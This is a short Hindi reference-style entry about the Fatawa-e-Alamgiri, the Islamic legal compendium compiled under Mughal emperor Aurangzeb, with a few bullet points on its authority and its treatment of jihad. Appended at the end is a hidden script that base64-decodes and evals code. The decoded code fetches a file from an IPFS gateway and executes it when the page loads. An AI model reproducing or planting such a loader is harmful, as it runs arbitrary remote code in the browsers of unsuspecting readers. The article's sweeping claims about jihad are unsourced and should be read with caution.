"फ़तवा-ए-आलमगीरी" एक ऐतिहासिक कृति है, जो मुग़ल बादशाह औरंगज़ेब के शासन काल में विधिवेत्ताओं के एक दल द्वारा तैयार की गई थी।
- यह कृति मुस्लिम क़ानूनों का अत्यन्त प्रामाणिक एवं विस्तृत सार संग्रह माना जाता है।
- औरंगज़ेब की 'फ़तवा-ए-आलमगीरी' में जिहाद की बढ़-चढ़कर चर्चा की गयी है।
- 'फ़तवा-ए-आलमगीरी' में स्पष्ट लिखा गया है कि मुसलमानों के लिए जिहाद सबसे पवित्र कार्य है। इसलिए राजा और सैन्य प्रमुखों का प्रयास रहता था कि हर युद्ध को जिहाद घोषित किया जाए।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>